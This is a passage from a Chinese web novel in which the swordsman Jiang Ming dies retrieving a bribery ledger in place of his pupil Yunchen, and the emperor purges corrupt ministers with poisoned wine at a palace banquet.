“玉阳基那杂种好龙阳,早就盯上了你这模样,霍乾念是为了保你,才故意设计将你逐出霍帮。还有那风灼草,你在东炎皇宫闹那么大动静,霍乾念不可能不知道,那菘蓝冒了你的功去,霍乾念却不揭穿,大概他想令菘蓝去偷账本。”
云琛脑子有点懵。
原来什么逐出霍帮,盗取风灼草,背后竟都有霍乾念的牵肠挂肚和步步为营?
她一下子觉得心里头不冤枉了,一点气都没有了。
“这么说,少主知道风灼草是我寻的,那么……”
那么风灼草作为药引的情念,不是对菘蓝,而是对她云琛??
想到这里,云琛兴奋地原地蹦起三尺高,捂着嘴欢呼不停,恨不得现在就飞奔回霍乾念身边,助他对付玉家一臂之力。
见云琛已经兴奋得没边儿了,江鸣一个严肃的眼神过去,云琛立刻收起笑容,噤声危坐,不敢再造次。
只是人虽然坐得端正,两只脚还是忍不住悄悄地蹦跶。
她强按耐着兴奋劲儿,说道:“菘蓝不会武功,怎么会让她去偷账本?师父猜得不对吧?”
江鸣道:“大概是想智取,而非强攻。也许会让菘蓝深入玉府为人质,能偷得账本最好,偷不得,就让菘蓝死在玉家,公主与霍乾念才更有理由斗之。”
云琛咋舌,“菘蓝的确是……”她选了半天的词语,“不咋地。但也罪不至死吧?这样将她当作一枚棋子舍弃,公主肯吗?”
江鸣冷笑,“成大事者何拘小节?况且霍乾念也不一定非要公主同意,大约会诓着哄着菘蓝悄悄去。只是这个法子不容易成,菘蓝一介女流,不得玉阳基喜好,怎能偷得那么机要的账本。若真死在公主府,公主忍一时之痛不发作,将来必要与霍乾念算账的。”
沉思片刻,云琛眼睛一亮:
“师父!你说玉阳基早就盯上了我,我又有功夫在身,那我去偷账本不就行了!”
云琛心中升起前所未有的勇气。
她决心去盗账本。
一为霍乾念原来那样爱惜她,珍视她。
二为狗哥的**,小六的仇……
既然玉阳基早就瞧上女扮男装的她,她何不凭此接近,偷来账本!
她有一身师父教的好武艺,觉得自己既然有本事从东炎皇宫那样铁板一块的地方活着出来,应当也能从玉家杀出一条血路。
她决定了,她要去偷账本。
“少主也真是的!怎么不早跟我说?早说的话,我速速就将账本拿来了!”
她拍着胸脯,咧着嘴一个劲儿地笑,牛皮吹得比天大,并未注意到江鸣眼中一闪而过的黯然。
她永远不会知道,这决定是她自己做的,还是江鸣算计着她入局。
江鸣太了解云琛了,根本不用骗,只需将这一桩桩一件件摆在她面前,将霍乾念的情明明白白拿给她看。<
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br>忠义在天,情深在心,她便会不顾一切,刀山火海而去。
聪慧,机敏,武艺高强,无惧无畏,更有对霍乾念的情在,有对兄弟朋友的义在。
不是江鸣心狠,实在是没有比云琛更合适的人。
“好,你若决定了,便再同我练十五日剑法,练好了再去!”江鸣将饮血剑抛给云琛。
云琛接住剑,朗声笑应:“都听师父的!”
而后十五日,日夜不休,星河不眠。
云琛将毕生所学全部拿出来一一练过,江鸣逐一指点、矫正、增强。
尤其对于上一回对战红衣**后,教她的那些极具进攻性的杀招狠招,江鸣更是手把手地教,敦促她反复练习。
原本就学了多年,再加上实战颇多,云琛一时间突飞猛进,武艺大涨,一日比一日精进。
衣服每日都要汗湿两套,好几次剑柄都将手掌磨出血。
在她累极了的时候,江鸣会对她说:
“莫怠!多练一分,便多活一分!”
她重重点头,累得腿都在发抖,也不敢停歇。
十五日高强度训练,直到剑气带啸,剑锋带满骇人血色,江鸣才终于叫停。
只是这次,无人能与云琛试战了。
江鸣只剩一条右臂,能持剑,却再不似从前挥剑自如,武功弱了许多。
云琛掂量着手中剑,信心满满,“师父,我觉得我能行!”
随后二人策马奔向离玉阳基最近的一处哀鸟岛。
在离岛还有一个时辰路程的时候,江鸣选了个僻静农屋,与云琛商议偷账本的计划。
“哀鸟岛四面环水,你趁夜潜水进入,我之前求的那高人说,按玉阳基谨慎多疑的性子,必居重重护卫中央,四周布满机关**,那账本也定然放在离他最近的地方,往往锁在秘匣中,钥匙由他贴身携带。”
江鸣反反复复叮嘱,“玉阳基本人不会武功,但周围都是重金聘请的高手,而且玉家擅用**,一定要小心!若被他发现,可凭你‘龙阳美色’暂时迷惑,寻机会再动手。”
云琛一一认真记下,“师父,放心吧!”
江鸣道:“若有不测,逃为上策,大不了隔些日子我们再偷一次。”
云琛笑道:“师父,你什么时候变得这么唠叨了?徒儿必得一击必杀,否则日后戒备更森严,就更难偷了。”
说着,她望向烟城的方向,神色逐渐变得凌厉。
“狗哥和小六当年的仇,今日就以玉阳基的人头来报!”
看着云琛沉稳又冷静的样子,江鸣深感欣慰,却又不可抑制地心头发紧。
“去买锅子和羊肉来,我们爷俩再好好吃一顿,为你践行。”江鸣说。
云琛高兴地应下,一溜烟跑去操办。
江鸣一直望着云琛的背影,神思突然恍惚。
仿佛又看见那个身量还不及他的剑高,蹦蹦跳跳口齿不清地喊着“师父”的小崽子了。
他记不清多久,好像有十五年了……
第152章 我师亦我父
云琛飞快地跑去买来锅子和羊肉,江鸣却不叫她摆在院子里,而叫她放进一旁的敞口地窖吃。
“此处离哀鸟岛太近,锅子烟气容易被发现,还是在地窖里吃更稳妥。”江鸣这样说。
云琛不疑有他,麻利地在地窖里放置好桌椅和吃食,师徒二人钻进地窖里,对着铜锅美美地吃了一顿涮羊肉。
云琛吃饱,一抹嘴,就势要起身。
似乎不满云琛阵前**躁,江鸣将声音放冷,道:“坐下,喝杯酒再走。”
“师父,喝了酒人会迟钝,影响我发挥呢!”她说。
江鸣不说话,只是神色肃然地看着她,云琛自小就怕江鸣板脸,立马坐回凳子,乖乖端起酒杯:
“嘿嘿,一杯也无妨。”
两只杯子在空中轻轻对碰,发出清脆的响声。
江鸣端着杯子,却不饮下,沉默了许久。
看出江鸣像是有话要说,云琛也不敢先喝,只能睁着大眼睛,静静地等江鸣开口。
良久,江鸣低声道:
“霍乾念是可托付之人,勉强配得上你。你记着我的话,日后不论世人如何曲解与诟病你,你只当狗吠。他们太蠢,看不出璞玉珍贵。你尽管大胆去走你的路。”
云琛从来没有听过江鸣说这种话,既感动,又感觉像是诀别之言。
她道:“师父,你别担心,我一定活着回来!我还要给你养老呢!”
江鸣笑了一声,“好。”
云琛瞪大眼睛,认识江鸣十几年了,她还是第一次看见他笑。
而且还笑得那么和善,那么慈祥。
她再次大力与江鸣碰杯,仰头干尽杯中酒。
很快,她便感觉视线模糊,四肢发软,接着便一头栽倒在地上。
江鸣将云琛放在一旁的草垛上,拿起饮血剑,最后看了昏迷的云琛一眼,决绝地转身离开。
他将地窖厚重的铁门关好,锁死,抓着那粗重的铁栏杆试了试份量,大约是连猛虎也逃不出的,这才放下心。
而后,江鸣走到院中央,冲着不远处一棵枝繁叶茂的大树道:
“下来吧。”
停顿了一瞬,大树的枝叶轻轻晃动,不言灵巧地跳下树,却不靠近江鸣,姿态保持着警戒。
从离开丹阳城,不言便按照霍乾念的命令,一直远远地暗中跟护着云琛。
从始至终,江鸣都知道不言的存在。
不言也知道根本并没能瞒住这个楠国曾经的第一高手,因为他寄给霍乾念的每一封关于云琛的信,全都**鸣截获,只能寄出一个“安”字。
不言道:“少主之所以不表明身份,与阿琛相认,就是怕阿琛再介入霍帮要对付玉家的事务,以阿琛的性子,肯定会自请去偷账本。我家少主不愿如此,他舍不得阿琛再犯险。”
江鸣面无表情,“我知道。”
“可你还是将许多事告诉阿琛,就是故意要她去偷账本,而且还不许我写信将消息告诉少主。少主一直都知道,公主与幽州附近有书信来往,因此知道了账本所在,却不想与公主书信来往的是你——阿琛的师父。”
“恩。”
“你是公主那方的人,霍帮与公主同盟,你原本也应是霍帮的恩人师长,但你算计得让阿琛去冒险,便是我们霍帮的仇人。”
不言说着抽出佩刀,做好进攻姿势。
江鸣看了眼天色,黄昏将尽,已不容多留。
他睨了不言一眼,将地窖铁门的钥匙扔在地上,简短道:
“你废话真多。看好琛儿,到我回来为止。”
说罢,江鸣束好绑腿,用牙齿辅助着系紧护臂,将没有胳膊的那只袖子一剑割断,头也不回地朝着哀鸟岛的方向而去,只留不言还愣在原地。
那是他看着长大的徒儿,他终究舍不得她去卖命。
纵然亏欠那神仙墓,那也应由他自己来还债。
……
……
一个时辰后。
江鸣趁夜色潜进哀鸟岛,刚一上岛,便与岛上森严守卫交战在一起。
一路进,一路杀。
江鸣一边剑杀不停,一边朝水岛最中央的居所冲去。
等他冲进玉阳基的寝屋时,只见重重机关之中,玉阳基端坐在高座,手里拿着一个精致的秘匣,皮笑肉不笑地看着他:
“江鸣大人,好久不见,没想到小小账本,最后竟惊动‘剑杀天狼’的楠国第一高手来。”
江鸣根本不理会,只挥剑溅血,轻轻转动手腕。
这时,一个红衣血卫无声无息地出现在玉阳基背后,脖子上挂着一把精致小巧的钥匙。
看着来人少了一条胳膊,却还能毫发无伤地杀到这里,那血卫扯下钥匙,一把吞入口中,神情变得阴狠。
前方是足以致命的机关、令人闻风丧胆的血卫;后方是已循声赶来的数不清的玉家护卫。
江鸣傲身立于包围圈中央,蔑哼一声,拔剑飞身杀去。
另一边,地窖里。
江鸣离开后不久,云琛**的药效逐渐退去。
她揉着发晕的脑袋转醒,坐起身,定定地停了片刻。
视线慢慢清晰,大脑的眩晕感缓解了些,她撑着墙壁站起身,但腿脚还是有些发软。
她慢慢走到铁门前,有气无力地呼喊:
“师父——师父——”
没有人回应她。
她虽然力气还没有恢复,心里却明明白白知道,江鸣是不愿她涉险,改变主意,独自去偷账本了。
她心里着急,手上却没什么力气,只能将铁门
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晃得咣咣作响,不停喊着“师父”。
不知过了多久,她终于感觉身上有了点劲。
但周围没有任何工具可以破门,只有一个凉透的铜锅。
她用力将锅子踩扁,然后像拧麻花一样,试图将锅子拧成一条,以便去撬门上的铁栏杆。
不料铜锅被踩扁之后锋利割手,她刚拧了一下,手立马被喇出一道大血口子,疼得她“哎呀”一声。
不言一直躲在旁边,听到声音后立马冲到铁门前,担心地问:
“怎么了阿琛,你哪儿不舒服?”
月光昏暗看不清,云琛仔细看了好一会儿才认出不言,高兴地大喊:
“不言哥?好久不见!我好想你!!”
不言笑起来,“傻小子!”
顾不得寒暄,云琛大喜,叫道:
“天助我也!不言哥你来得太及时了!你快找找周围有没有东西能破门?快放我出去!我有很重要的事情去办!”
不言慢慢收起笑容,退后两步,不忍却坚定地看着云琛:
“你不能去,少主不许。”
只这一句话,云琛瞬间瞪大眼睛,什么都明白了。
“丹阳城里少主认出我了是吧?你一直暗中护着我对吗?不言哥,那你应当知道我师父是去为公主和霍帮偷账本了!师父伤了胳膊!不成的!不言哥!求你放我出去!我去帮师父!我要去救他!!”
任云琛怎么叫喊,不言只远远退开,隐去那棵枝繁叶茂的树上,不再露面。
云琛气急了,直接开始拿铜锅片疯狂凿墙。
但地窖为了避光存温,用的都是糯米红砖,比铁还坚固,她凿得手都麻了,墙上也只有一个浅印。
她急得像没头苍蝇一样乱转,仿佛能看见江鸣孤身一人深陷重重刀锋:
无数机关与毒粉铺天盖地,如天罗地网压来;
一个又一个玉家护卫冲上去,又一个个倒在饮血剑下……
江鸣自始至终都没有皱一下眉头,永远是那个面无表情的冷血杀神。
可没了一条胳膊,就如猛虎断齿。
二十年守墓,曾经的楠国第一高手终究也老了。
终于,一刀又一刀砍在江鸣身上。
他吐出一大口血,无所谓地擦去血迹,再次拔剑飞杀,朝玉阳基冲过去。
云琛仿佛已看见江鸣倒在她面前。
她疯了一样地凿墙、踹铁门,可什么都无济于事。
“不言哥……求求你……”
折腾到脱力为止,云琛跌坐在地上,声音带了哭腔。
“那是我师,亦是我父啊……”
云琛崩溃大哭起来,终于听到钥匙打开铁门的声音。
不言持刀站在地窖门口,伸手拉起她。
“走,我与你同去!”
第153章 天意总不遂人愿
“寄言全盛红颜子,应怜半死白头翁。
此翁白头真可怜,伊昔红颜美少年。”
月色凉如水,四月寒如锋。
云琛将屠狼驹驾地飞起,与不言一前一后朝哀鸟岛飞奔。
她根本不敢去想江鸣如何了,是否还活着。
她坚信自己师父的本事,即使少一条胳膊,也强悍过这世上绝大多数人!
只是再上天入地的本事,也总有力气用完的时候……一人怎敌千百人?
如果只是逃也就罢了,可按江鸣的性子,必定不拿到账本不罢休……
不,江鸣不会有事,他还记挂着香消崖的神仙墓,不会有事的!
心里七上八下,不管她怎么安慰自己,眼眶还是忍不住渐渐湿润。
只可惜,天意总是不遂人愿。
隔着老远,云琛便看见一个黑影跌跌撞撞奔来。
“师父!!”
她飞冲过去,狠狠勒马,未等马停住便翻滚而下,一把抱住将要倒下的江鸣。
浓重的血腥味,满手摸去都是血。
江鸣虽穿着黑衣,看不出满身是血,可云琛已摸到他浑身被血湿透,几处深刀伤已可见白骨。
江鸣十个手指的指甲全部断裂,颤抖着从怀里掏出两本血迹斑斑的账本,累得几乎没有力气再说话,断断续续道:
“快……给……公主……”
云琛拿过账本,快速塞进怀里,一把扛起江鸣往城中医馆走。
夜深人静,所有医馆都已关门。
云琛和不言看到一家医馆便大力拍门,大吼着“救命”“快救人”!
大夫听见那急声怒吼,只敢隔着门缝看一眼,一见云琛满身沾着血,后背上的人不省人事,旁边还有一个瘦高佩刀的黑衣人,都吓得不敢开门。
救人不成反**的事情实在太多,小小百姓不敢冒险。
似乎反应过来自己这个样子太吓人,云琛连忙将头发拨拉整齐,努力用最平和却带着哭腔的声音,叫响了下一家的门。
见门缝有人影闪过,她知道有人在门口,直接后退一步跪下,重重磕了个头:
“求大夫救命!求求您!”
门后传来一个中年人的声音,无奈道:
“年轻人,节哀吧,他肝已露在外面,活不了了……”
“你瞎说!!”云琛大喊着打断,将江鸣放在地上让不言看顾,又跑去下一家医馆求救。
借着昏暗又冰冷的月色,江鸣费力地偏头望去。
他看见清冷的月光下,云琛一次次哭着跪地磕头,双手合十,求了又求。
最后,终于有一家医馆开了门,一个白发苍苍的老大夫披着外袍,举着蜡烛走出来。
老大夫扶住云琛,颤巍巍地问:
“孩子,你怎么了?”
“求您救命!!”云琛和不言赶紧将江鸣抬进医馆,安置在软榻上。
老大夫年纪太大,有些看不清,走近几步,凑到江鸣跟前才看清楚,不禁连连摇摇,叹气道:
“孩子啊,你爹伤得太重,腹部破损,肝和肠子都露在外面了,失血也太多,已是无力回天了……”
听见这话,云琛一下子崩溃了,她扑倒在老大夫脚下,将头磕得“梆梆”直响,大哭:
“求神医救命!求求您!多少钱都可以!我都有!求求您!拿我的血去!拿我的肝行吗?!”
老大夫只是一个劲儿地摇头,叹息道:
“孩子,你爹的时间不多了,去和他再说说话吧……”
像是终于被迫接受了这个事实,云琛一边嘴上说着“不行不能死!”,一边还是手脚并用地爬去了江鸣身边。
江鸣身下的软榻已经被血浸透,半个肝脏露在肚子外面,已经发干发黑。
他的脸色灰白,嘴唇也是白的。
“师父……师父……”
云琛抱着他仅剩的那条胳膊,一声声哭喊着,听得那不言和那老大夫都忍不住落泪。
江鸣开始感到身子发轻,发暖,身上的伤口不再疼,眼皮子越来越沉。
他用尽最后一点力气看向云琛,那双从来没有任何感情波动的眼睛,第一次微微震颤。
他伸出满是裂口和血的手,摸了摸云琛的头,声音已若游丝低微:
“好孩子……不哭……”
云琛哭得上气不接下气:
“师父你别死,求求你……师父,我有……我有少主给的令牌,可以使好多……好多银子……我要给你养老……给你在香消崖盖一座好房子……给你买好酒好肉……给你买衣裳……你别死……师父……别丢下我……”
江鸣轻轻摇头,口中溢出深棕色的血沫,用尽最后的力
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气说了三个字:
“香消崖……”
不必多说,云琛懂江鸣的意思:
敛我尸身,焚骨成灰,撒于香消崖。
江鸣一直看着云琛,直到她泪流满面地点点头,他才终于呼出最后一口气,目光逐渐涣散无光……
“师父!师父!!”
云琛悲痛的哭声响彻夜空。
窗外的杜鹃似也在啼血悲鸣。
抱着江鸣逐渐凉透的身体,云琛哭得几乎晕厥。
直到眼泪都快哭干,她才再次将江鸣背起,拿起饮血剑,跨上屠狼驹,声音啜泣:
“师父……我带你回家……”
四月风起,细雨蒙蒙。
香消崖又多了一座小小孤坟,只是没有墓穴,没有尸身,只有挥洒于海天之间的骨灰。
云琛将江鸣的骨灰撒下悬崖,一阵轻柔的风吹来,将大多数骨灰卷起,吹向神仙墓,竟像是在拥抱那墓碑。
这大概是江鸣此生第一次,也最后一次与那神仙墓相拥了吧。
守墓二十年,除了不远处一座简陋的小木屋,一柄饮血剑,两身磨得透光的衣服,江鸣什么也没留下。
无论前世何愁何怨,至此,全都了了。
玉家的人很快追踪而来,找到香消崖。
但在这诸国不可起战见血的绝对太平之地,纵然知道账本一定在云琛或者不言身上,也没人敢踏进一步,只是团团围住香消崖,准备死等到二人出来为止。
云琛和不言并不慌乱,静静待了七天。
烧完头七纸,才算最后告别。
不言将护卫刀磨得锋利带闪,屠狼驹喂得膘肥体壮。
云琛则轻轻擦拭着江鸣拿了一辈子的饮血剑。
那上面既有数不清的千百亡魂的血,也有她师父的血。
云琛将左掌划破,抹在饮血剑的剑身,翻身跨上屠狼驹,摸了摸怀里的账本,对不言道:
“不言哥,我可能顾不上你。”
不言伸出两指,弹了下刀刃,笑道:
“臭小子,京都城见!”
不再多言,二人策马扬鞭。
香消崖外,无数玉家护卫只见到两匹快马飞驰冲来,一黑一白两道身影凌厉如风。
那刀是盛怒杀意,那剑是新仇旧恨。
很快,香消崖旁只闻一片鬼哭狼嚎,染得春草俱是血红。
第154章 兽王的阴谋
京都城,皇宫内。
永安大殿富丽堂皇,设着珍馐奢宴,文武百官皆位列席中,南璃君和霍乾念也在席。
宴席中央,一位绝色舞女翩翩独舞。
大臣们却没心思看,只窃窃私语,不停地看向高座上的皇帝。
皇帝闭着眼,像一头假寐的兽王。
如今,皇帝的身体一天不如一天,前些日子病了一个多月,太医院忙得脚不沾地。
宫中开始暗暗流传,说风中之烛危矣,皇帝快要龙御归天了。
可明明昨日还在昏迷的皇帝,今日却突然召百官进宫用宴。
既非皇帝生辰,又非年节,没有任何明目地开了宴席。
皇帝好端端地坐在龙椅上,和过去几十年一样气势阴厉,威势迫人。
宴席仍旧像往常宫中规制那样奢华,但只奉了茶,没有酒。
舞乐也明显是临时搬来的,歌舞不齐,颇为忙乱。
气氛实在是诡异,谁人有心思吃喝。
一曲舞罢,舞女退下。
南璃君与霍乾念交换了一个眼神,她朝皇帝笑道:
“父皇,儿臣从毗南寻来极品血燕,做的羹十分清甜,您尝尝呢?”
皇帝睁开眼,扫视群臣,道:
“朕旧疾未愈,饮不了酒,用羹也无妨。诸位爱卿还是饮酒最宜。”
皇帝说完,一旁的枭泽作了个手势,一大群侍卫立刻端着酒盅上前,列队有序,分工明确,笔直地走向各个大臣身边。
每位大臣身后一名侍卫,一个不多,也一个不少。
整整齐齐,明显是预先安排好的。
瞧这架势,百官心里皆“咯噔”不妙,顿悟这原来是场鸿门宴。
如今整个楠国沸沸扬扬的,便是玉家多年贿赂朝中大臣的账本一事。
霍玉之争已势同水火,霍帮背后是南璃君,玉家在扶持皇帝当年登基后,察觉皇帝意欲除之而后快,便立刻转投丞相倪鲲。
世人只见霍玉争锋,实则是公主南璃君与当朝丞相倪鲲的权力角逐。
因此,皇帝设的这场鸿门宴,便很有深意了。
百官纷纷看向皇帝手边一左一右的两个位置:
一个是皇帝与皇后唯一爱女,倚仗霍帮与曹放率领的玄甲军旧部,是皇位当之无愧的继承人;
另一个是楠国存在了多少年,他便当了多少年的丞相,倚仗玉家和京军之权,拥有着比南璃君更根深树大的实权。
二人皆是一人之下,万人之上。
可若真细细论起来,貌若天仙、倾国倾城的公主更像个漂亮的瓷娃娃,虽然野心勃勃,但离了霍乾念,她难以翻起大风浪。
和做了二十七年丞相,在官海浮沉三十年的倪鲲比起来,南璃君显然太稚嫩些。
倪鲲在官场上**不见血的时候,南璃君尚在襁褓;倪鲲算无遗策步步为营的时候,南璃君还在咿呀学语;倪鲲培养得势力不可撼动的时候,南璃君才刚刚及笄。
倪鲲甚至不需要像南璃君那样,大张旗鼓地与霍帮搅得楠国翻了天,派头十足地摆出公主架子,他只需一身官衣,淡淡地坐在那里,便是风云诡谲,不可捉摸。
一个空有野心却还嫩的孩子,到底能不能斗得过一个老谋深算的文官呢?
没人知道结果,但朝中站队早已分明。
只是皇帝赐酒大有蹊跷,没人敢第一个喝。
南璃君得意一笑,高声道了句“多谢父皇”,而后饮尽酒盅。
皇帝不可能杀这个唯一爱女,更不可能在自己寿命将尽之时折她羽翼。想到这里,霍乾念也谢恩饮酒。
曹放老将军也一口饮下,他根本不担心皇帝这个时候要他老命,毕竟他这些年不知拔了多少次龙须龙鳞,不都还好端端地活着。
一见南璃君、霍乾念和曹放等公主势力方的大臣们都纷纷饮酒谢恩。
倪鲲与玉家之派,心里反而更加打鼓。
但令所有人意外的是,倪鲲竟第一个举起酒杯,恭敬谢恩:
“臣叩谢皇上圣恩,祝吾皇龙体康健,万寿无疆。”
说罢,倪鲲面不改色地喝下酒,仍旧像平常一样斯文儒雅,脸上甚至还挂着温和的笑容。
见倪鲲如此,一个文臣立刻谢恩饮酒,刚想学着倪鲲的样子,也说几句美言,拍拍龙屁,却突然感觉心腹一阵绞痛,立时呕出一大口黑血,眨眼便倒地身亡。
群臣哗然大惊。
前一刻还是位高权重的朝廷重臣;
下一刻,一杯毒酒下去,便只剩一具冰冷的尸体,不甘心地望着那些再也无法触及的荣华富贵。
群臣骇然失色。
已经饮酒的众人不免心中忐忑,开始怀疑自己刚才喝下去的到底有没有毒,会不会是**?
还未喝酒的朝臣则吓得面如土色,抖如筛糠。
皇帝冷笑:“朕赐的酒,谁不想喝?”
枭泽就近扼住一位大臣的脖子,将酒硬灌进那大臣的喉咙。
那大臣拼命地哭喊挣扎,最终还是吐出一口黑血,倒地而亡。
既有这样一个开头,侍卫们纷纷依样照做。
一时间,场上只闻众臣哭喊求饶,桌凳酒榻被接连踹翻,一个又一个大臣吐血而亡。
一人从侍卫手底下侥幸挣扎开,扑跪在宴席中央,颤声大喊:
“皇上!!您不能如此妄杀朝廷忠良啊!!无名无故便诛杀!!古今千百年来未有这种荒唐啊!!”
另一个大臣也哭喊:
“皇上!!若臣等有罪!但领天恩自尽!可臣等何罪之有?!您如此滥杀朝臣!是置楠国江山于水火!置您开国鼎盛之千秋盛名于不顾啊!!”
“皇上!!臣等何罪?
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!”
“皇上饶命!!丞相救命啊!!”
逃出去的人,还没跑出两步,就立刻被侍卫们抓回去灌下毒酒。
一大臣临死之际还伏在地上血泪不止,喃喃悲切道:
“臣等……何罪……何罪……”
很快,美酒奢宴变得一片狼藉。
文武百官倒下去近三分之一,大臣们的尸体横七竖八倒了一地,全部口鼻冒着黑血,死状骇人。
就连幸免于难的臣子们都惊恐得不能发声,不知该做何反应。
文武百官,国之栋梁,就这么无缘无故被赐死,死的还几乎都是玉家之派的朝臣。
众人不由看向场中仍然活着的、最后一个长久以来力鼎玉家的大臣——
倪鲲。
两鬓染着霜色,气质谈吐像个淡泊又文雅的书生。
可就是这“小小”书生,却网罗一众大臣,力鼎玉家兴盛数十年之久,令皇帝都忌惮三分。
就是这“淡泊”书生,面对这令武将都为之变色的血腥宫宴,连眼睛都不眨一下。
看着与自己过从亲密的大臣们一个个倒下,听着那凄惨呼救,他通通置若罔闻。
不仅如此,倪鲲甚至依旧姿态从容地行礼,对皇帝道:
“皇上,您骤然赐死朝臣,无名无故,没有罪证,其子嗣宗亲必不甘休,京军之流必叛反生祸。请皇上三思。”
众人面面相觑,心说:还三思啥?人都死完了还思啥?而且这话听着怎么不像劝阻,倒像是怂恿着皇帝斩草除根,株连已死众臣之家族似的?
场上再次炸开了锅,大臣们纷纷进言劝阻,南璃君与曹放虽期望玉家之流和倪鲲倒台,却也无法理解皇帝此举,齐齐跪拜:
“父皇,无罪证而杀朝臣,只怕您的千秋功名就要毁于一旦!若再无罪证而祸及家人,只怕要令民怨沸腾!江山动荡啊!”
“皇上,老臣担心京军中与玉家过从亲密之流哗变!**前往平定!”
似乎为了印证曹放的话,不多时,一信兵忽然驾马飞奔至大殿,高声道:
“急报——皇上!西郊京军哗变!名曰‘卫肱骨,正宫闱’!两万人马正朝皇宫而来!”
群臣大惊,高声惊呼者有之,不停跪拜进言者亦有,场面愈发嘈杂。
但自始至终,皇帝都面色不改,那双阴厉含锋的眼睛,没有过一丝一毫的软意。
这时,一个宫门侍卫头领匆匆上前,附耳禀报,皇帝不动声色地看了霍乾念一眼。
一直对这场宫宴变故安静旁观的霍乾念,从一开始到现在,始终都在观察皇帝的神色,自然接受到这样一个意味深长的眼神。
不知是否错觉,霍乾念竟觉得皇帝方才那个眼神里带着一丝极细微的笑意。
接着,就听皇帝威声道:
“宣。”
第155章 最后的心愿
随着皇帝一声圣令,在众人回首远望之中,在霍乾念有着某种预感的翘首期待中,远远地,只见一白衣染血,踏马飞来。
云琛将屠狼驹驾得飞起,英姿蓬勃,直冲霄殿。
她飞奔至前,翻身**,跪倒殿中,高举起两本血迹斑斑的账册,朗声道:
“草民拜见皇上!这里是玉家家主玉阳基多年来贿赂朝中官员的往来账目!一干总账皆在其中!是草民师父拼死从玉家拿出的!请皇上过目!”
枭泽接过账册,瞧着云琛一身孝衣染血,忍不住目光颤动,低声问了句:
“江鸣他……”
云琛忍着眼泪,道:“师父已去。”
枭泽脸上闪过一丝落寞,叹了口气,将账册呈给皇帝。
皇帝却像是刚从愣神中缓过来,目光离开云琛一身白衣带血,并不看账册,只道:
“拿与丞相过目。”
待倪鲲将账册翻阅一遍,皇帝问道:
“朕今日所杀之人,可与账册所记有出入,有缺漏?”
倪鲲恭敬道:“并无一人错漏。”
此言一出,殿内一片唏嘘,再也没有人跪倒在地,请皇上勿杀忠良了。
原来,这些年玉阳基贿赂朝中官员的账,不只玉阳基暗中记着,皇帝也记着呢。
今日所杀,无一枉杀。
但若没有云琛拿着账本出现,皇帝的千古名声只怕不保。
众人终于反应过来,这场宫宴原来是皇帝早有盘算的“清剿”行动,是至自己楠国开元皇帝盛名于不顾的一场横行大义之举。
皇帝扶着龙椅站起身,扫视全场,一字一句威严赫赫而道:
“朕杀佞臣,无罪证亦杀之。罪在当代,功在千秋。万民所系,岂为寥寥史笔所困?!”
好一个罪在当代,功在千秋!
好一个宁负千世骂名,只心系楠国万民的开国皇帝!
皇帝再次拔高声音,喝道:
“传朕令——命公主为极璃上将军!曹放为副将!领兵四万,前往西郊平叛!而后严查佞臣余党残寇!严惩同流之祸!诛叛党!清君侧!”
南璃君震惊不已,拜倒谢恩,却又看了眼霍乾念,犹豫着想开口。
皇帝自然看穿女儿心中所想,语重心长道:
“你的臣,今后便由你来封。”
明白皇帝所言,南璃君重重点头,深吸一口气,随后长身立于大殿前,高声道:
“本宫命霍乾念为巡司大都督!亲查玉氏谋逆贿赂案!罚没玉氏相干财物!如遇反抗!杀无赦!许先斩后奏之权!”
下令完毕,南璃君习惯性地看向皇帝的表情,如过去千百次一样,想去从那张森冷威严的面容上获得一丝认可。
只可惜这次,南璃君得不到了。
仿佛所有力气终于耗尽,皇帝身子晃了晃,一头栽下那高高的龙椅。
随着众人惊呼,枭泽一个飞扑过去,以背相垫,接住了皇帝。
在彻底陷入昏迷之前,皇帝将三道圣旨传下。
第一道圣旨,言天下万物,有生必有死。此遗诏令国丧一切从简,不可穷奢极恀,哭临祭礼不可超过三日,不可禁百姓婚丧嫁娶,不可扰民生息。
第二道圣旨,觐公主为东宫储君,监国十年,丞相倪鲲为君辅,率禁军辅政。
第三道为密旨,交由丞相倪鲲保管,待时机合适之际颁告天下。
三道圣旨一出,宫内宫外一片哭声。
年纪大的百姓尚且记得当年皇后殡天时,皇帝如何悲痛到吐血昏厥,令全国千里悲声送之,开山毁田,大兴土木建造皇陵。
可如今到了自己这里,竟简得不能再简。
回过头看看,二十年未再娶,何等情种。
再看这一手开创的楠国盛世,缔造辽阔疆土,令百姓安居乐业,其强悍令四方他国不敢来犯……
到这一刻,人们才说,这是个好皇帝。
大概是人们总对死亡有着天然的敬畏,更在人之将死时,才想起这人的种种好处来,才替其哀伤,替其惋惜,而觉悲伤不已吧。
龙凤栖宫内,太医们乌泱泱跪了一地,不停地命人熬汤送药,做着最后的努力。
宫门大开,宫苑里跪满了哭泣的朝臣和宫人。
南璃君跪在最前面,手里攥着圣旨,泪如雨下。
她甚至不知自己是为皇帝即将殡天而伤痛,还是为机关算尽却只得到一个“储君监国”而悲愤。
监国罢了!还是十年!
十年罢了!还要倪鲲辅政!还将第三道密旨交给他保管!甚至还将守卫皇宫之责的禁军军权交由他!
照今日这血腥宫宴,皇帝明明知道祸乱朝纲的玉家同党之流都有谁,却偏偏放过为首的祸端倪鲲!
为何要对亲生女儿忌惮至此?留倪鲲大祸牵制她?
南璃君真的不懂为什么。
她想问问霍乾念,可后排的这厮却只顾着频频回头去看云琛,心思根本不在她这。
就这么哭声一片,一直到夜将寅时,所有人都跪得两腿发僵,哭不出眼泪只能干号,皇帝终于转醒。
南璃君强撑着膝盖剧痛,往前一步,急问:
“父皇召我了吗?是不是要见我?”
她要亲口问一问皇帝到底怎么回事。
但枭
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泽摇头,表示并不是要召见南璃君。
南璃君用带有恨意的眼神看了倪鲲一眼,切齿而不甘,“难道是要见丞相?”
枭泽还是摇头,只在跪了满地的人中去寻,最后目光落定在云琛身上,道:
“皇上宣云琛觐见。”
众人面面相觑。
南璃君不可置信地瞪着云琛,皇帝弥留之际,临终为何不见她这个亲生女儿,却要见一个小小护卫?难道又是什么她不知道的权力交付?
在众目睽睽之下,云琛忐忑不安地起身,经过霍乾念的时候,感觉到他飞快地牵了一下她的手。
云琛快速悄悄看去,霍乾念暗暗在袖子里比画了一个手势,意思是有护卫在,叫她不必担心。
她心中讶异,这皇宫守卫森严,连个没名的苍蝇都进不来,他霍乾念哪来的本事搞进来一个护卫?
她不明白地望着他,只见到他太平无事的神情,安慰地朝她眨眨眼,做口型道:
“我就是你的护卫。”
云琛心中安定下来,随着枭泽走进殿。
她看见昏暗的大殿里空空荡荡,只有皇帝一个人孤零零地躺在偌大的龙榻上。
